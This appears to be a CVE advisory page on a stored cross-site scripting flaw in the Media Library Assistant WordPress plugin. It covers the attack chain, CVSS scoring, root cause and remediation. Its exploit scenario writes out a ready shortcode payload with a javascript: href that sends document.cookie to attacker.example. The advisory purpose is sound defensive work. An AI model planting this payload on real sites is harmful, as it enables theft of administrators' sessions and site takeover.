Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain contributor WordPress credentials
-
DeliveryAuthor post with malicious mla_gallery shortcode (mla_output=paginate_links, mla_link_href=payload)
-
ExploitPost stored in database
-
InstallVictim administrator loads injected page
-
C2Browser executes href JavaScript
-
ExecuteSession cookie exfiltrated to attacker
-
ImpactAttacker authenticates as administrator
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated WordPress session at contributor level or higher (PR:L); unauthenticated visitors cannot trigger the vulnerability. The attack is specifically conditioned on use of the [mla_gallery] shortcode with the mla_output parameter set to 'paginate_links' AND the mla_link_href parameter supplied with a malicious value - galleries rendered without these two parameter combinations are not affected. The injected page must be published and visited by a victim browser for the payload to execute, introducing an implicit victim-navigation step. Exploitation is therefore limited by: (1) attacker must hold or obtain at minimum a contributor account, (2) the vulnerable shortcode configuration must appear in a publicly or internally accessible page, and (3) a victim must subsequently load that page. Sites that restrict post creation to trusted editors or administrators are not practically at risk. |
| Impact | The CVSS 3.1 base score of 6.4 with vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N reflects a network-reachable, low-complexity attack requiring only contributor-level WordPress credentials, with scope change (S:C) capturing the browser-context pivot from server to victim. However, the UI:N designation warrants scrutiny: stored XSS by definition requires a victim to navigate to the injected page, which most CVSS practitioners encode as UI:R. Accepting UI:R would reduce the effective score to approximately 5.4. Privilege requirement PR:L is accurate - WordPress contributor role is a low-trust role that can create and edit posts but cannot publish them directly, yet shortcodes are evaluated server-side on post render, so a contributor can still place the payload. No EPSS score was provided, no KEV listing exists, and no public exploit code has been identified, all of which reduce practical urgency. The real-world risk is moderate: an attacker needing contributor credentials limits opportunistic exploitation, but the stored nature means a single injected post can harvest admin session cookies from every subsequent visitor, including administrators, enabling privilege escalation to full site compromise. The plugin's broad install base elevates overall exposure relative to niche tools. |
| Exploit ScenarioDerived | A threat actor registers or compromises a contributor account on the target WordPress site, then creates or edits a post embedding a [mla_gallery mla_output='paginate_links' mla_link_href='javascript:document.location="https://attacker.example/steal?c="+document.cookie'] shortcode. WordPress stores the post; when any site visitor - including administrators - loads the page, the unsanitized href renders in the browser and the JavaScript payload executes, exfiltrating session cookies to the attacker's server. With an administrator cookie in hand, the attacker can pivot to full site compromise. No public exploit code has been identified, but the code-level vulnerability is confirmed through Wordfence's reference to the specific source lines in the plugin trac. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 11, 2026
Stored Cross-Site Scripting in the Media Library Assistant WordPress plugin (versions ≤3.35) allows authenticated contributors to plant persistent JavaScript payloads that execute in any visitor's browser. The injection point is the mla_link_href parameter of the [mla_gallery] shortcode when mla_output is set to 'paginate_links': the _paginate_links() function processes the value through mla_process_shortcode_parameter() and _replace_query_parameter() but writes the result directly into href attributes without invoking WordPress's esc_url() sanitizer, leaving the output unsanitized. No public exploit has been identified at time of analysis, and a fix has been committed to the plugin's SVN trunk (changeset 3512155), though the exact released patch version is not independently confirmed from the available references.
RemediationAI
Update the Media Library Assistant plugin to the version that incorporates SVN changeset 3512155 - anticipated to be 3.36 or later - available via the WordPress Plugin Directory or the plugin's SVN repository at plugins.trac.wordpress.org. If an immediate update is not possible, the most targeted compensating control is to remove the Contributor role from any untrusted user accounts, since the attack requires at minimum contributor-level WordPress access; reducing the user pool who can author posts containing [mla_gallery] shortcodes directly shrinks the attack surface. A Web Application Firewall rule blocking mla_link_href values containing javascript:, data:, or HTML event-handler patterns in gallery shortcode POST/GET parameters can provide an additional layer, though WAF rules are imprecise for encoded payloads. There is no known server-side configuration toggle to disable only the mla_output='paginate_links' code path without disabling the broader gallery shortcode. Monitoring WordPress admin-level actions after any contributor posts containing [mla_gallery] is advisable until the patch is applied.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Media Library Assistant (CPE cpe:2.3:a:dglingren:media_library_assistant:*:*:*:*:*:*:*:*) is a WordPress plugin that extends the native media library with advanced shortcode-driven gallery output. The vulnerable code path lives in class-mla-shortcodes.php and class-mla-shortcode-support.php. When the [mla_gallery] shortcode is rendered with mla_output='paginate_links', _paginate_links() constructs pagination anchor tags by processing the mla_link_href parameter through two helper functions - mla_process_shortcode_parameter() (line 2449) and _replace_query_parameter() (line 2484) - neither of which performs URL-safe encoding. The final href value is then written into the page's HTML output without passing through WordPress's esc_url() function, which is the standard defense against href-based XSS in WordPress development. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) root cause: user-controlled data traverses multiple processing steps but escaping is omitted at the final output stage.
Know when Media Library Assistant gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Stored XSS requires victim to visit the page (UI:R); contributor credentials needed (PR:L); scope changes to victim browser (S:C); no availability impact.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Media Library Assistant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mla_gallery' shortcode in versions up to and including 3.35. This is due to insufficient input sanitization and output escaping on the mla_link_href parameter when mla_output is set to 'paginate_links', where the _paginate_links() function processes the value through mla_process_shortcode_parameter() and _replace_query_parameter() without proper URL escaping, then outputs it directly in href attributes without applying esc_url(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Media Library Assistant
View allThe Media Library Assistant plugin for WordPress is vulnerable to Local File Inclusion and Remote Code Execution in vers
The Media Library Assistant plugin before 2.82 for Wordpress suffers from a Local File Inclusion vulnerability in mla_ga
SQL injection in the Media Library Assistant WordPress plugin before version 3.40 allows authenticated users with the Au
Stored cross-site scripting in the Media Library Assistant WordPress plugin before 3.44 lets an authenticated user with
In the media-library-assistant plugin before 2.82 for WordPress, Remote Code Execution can occur via the tax_query, meta
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in David Lingre
Blind SQL injection in the WordPress plugin Media Library Assistant through version 3.43 allows remote attackers to read
Arbitrary file upload in the Media Library Assistant WordPress plugin (versions 3.39 and earlier) lets an authenticated
The Media Library Assistant plugin for WordPress is vulnerable to SQL Injection via the plugin's shortcode(s) in all ver
The Media Library Assistant plugin for WordPress is vulnerable to time-based SQL Injection via the ‘order’ parameter wit
The Media Library Assistant plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type valida
Blind SQL injection in Media Library Assistant through version 3.32 allows authenticated attackers to execute arbitrary
EUVD-2026-76007
GHSA-928c-4p6w-v8h4
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB